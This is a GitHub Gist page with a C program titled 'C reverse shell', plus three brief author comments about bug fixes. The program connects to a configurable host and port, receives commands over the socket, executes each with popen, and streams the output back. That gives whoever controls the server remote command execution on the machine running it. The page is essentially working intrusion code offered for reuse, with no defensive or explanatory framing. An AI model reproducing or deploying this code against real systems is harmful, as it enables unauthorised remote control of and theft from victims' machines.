Skip to content

Instantly share code, notes, and snippets.

@Gydo194
Last active August 24, 2022 17:11
Show Gist options
  • Save Gydo194/82998d2e66d4699fc820d1b683c8ebb0 to your computer and use it in GitHub Desktop.
Save Gydo194/82998d2e66d4699fc820d1b683c8ebb0 to your computer and use it in GitHub Desktop.
C reverse shell
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <cstdlib> //cpp
#include <stdlib.h> //c
//default connection details
char* server_name = "localhost";
int server_port = 9034;
struct sockaddr_in server_address;
int sock;
FILE *f;
void safeShutdown() {
close(sock);
printf("Safely shut down\n");
exit(EXIT_FAILURE);
}
void setup() {
memset(&server_address, 0, sizeof (server_address));
server_address.sin_family = AF_INET;
inet_pton(AF_INET, server_name, &server_address.sin_addr);
server_address.sin_port = htons(server_port);
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
printf("could not create socket\n");
close(sock);
exit(EXIT_FAILURE);
}
if (connect(sock, (struct sockaddr*) &server_address,
sizeof (server_address)) < 0) {
printf("could not connect to server\n");
close(sock);
exit(EXIT_FAILURE);
}
}
void send_to_server(char *message) {
send(sock, message, strlen(message), 0);
}
void handleInput(char *input) {
printf("handleInput(): got '%s'.\n", input);
char out[1024];
f = popen(input, "r");
if (NULL == f) {
send_to_server("got error");
}
while (fgets(out, sizeof (out) - 1, f) != NULL) {
printf("%s", out);
send_to_server(out);
}
pclose(f);
}
int main(int argc, char **argv) {
if (argc == 3) {
server_name = argv[1];
server_port = atoi(argv[2]);
}
printf("Using host '%s' port '%d'.\n", server_name, server_port);
setup();
char buffer[1024];
int n = 0;
while(1) {
n = recv(sock,&buffer,1024,0);
if(0 == n) {
printf("received nothing, server closed connection.\n");
safeShutdown();
} else {
printf("received '%s'.\n",buffer);
handleInput(buffer);
memset(&buffer,0,1024);
buffer[0] = '\0'; //null-term the first byte
}
}
// close the socket
close(sock);
return 0;
}
@Gydo194
Copy link
Author

Gydo194 commented Mar 7, 2018

patched bug where it woud echo all earlier results back

@Gydo194
Copy link
Author

Gydo194 commented Mar 7, 2018

patched bug where a disconnect from server would send it in infinite printf() loop

@Gydo194
Copy link
Author

Gydo194 commented Mar 7, 2018

removed the not working if and useless comments

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment